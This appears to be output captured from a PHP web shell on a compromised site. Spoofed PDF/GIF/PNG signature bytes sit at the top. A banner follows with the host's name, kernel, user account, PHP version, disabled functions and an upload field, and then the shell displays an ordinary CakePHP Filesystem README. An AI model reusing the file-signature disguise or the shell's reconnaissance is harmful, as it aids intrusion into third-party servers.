%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/vendor/cakephp/cakephp/src/Filesystem/ |
Upload File : |
[](https://packagist.org/packages/cakephp/filesystem)
[](LICENSE.txt)
# CakePHP Filesystem Library
The Folder and File utilities are convenience classes to help you read from and write/append to files; list files within a folder and other common directory related tasks.
## Basic Usage
Create a folder instance and search for all the `.ctp` files within it:
```php
use Cake\Filesystem\Folder;
$dir = new Folder('/path/to/folder');
$files = $dir->find('.*\.ctp');
```
Now you can loop through the files and read from or write/append to the contents or simply delete the file:
```php
foreach ($files as $file) {
$file = new File($dir->pwd() . DIRECTORY_SEPARATOR . $file);
$contents = $file->read();
// $file->write('I am overwriting the contents of this file');
// $file->append('I am adding to the bottom of this file.');
// $file->delete(); // I am deleting this file
$file->close(); // Be sure to close the file when you're done
}
```
## Documentation
Please make sure you check the [official
documentation](https://book.cakephp.org/3.0/en/core-libraries/file-folder.html)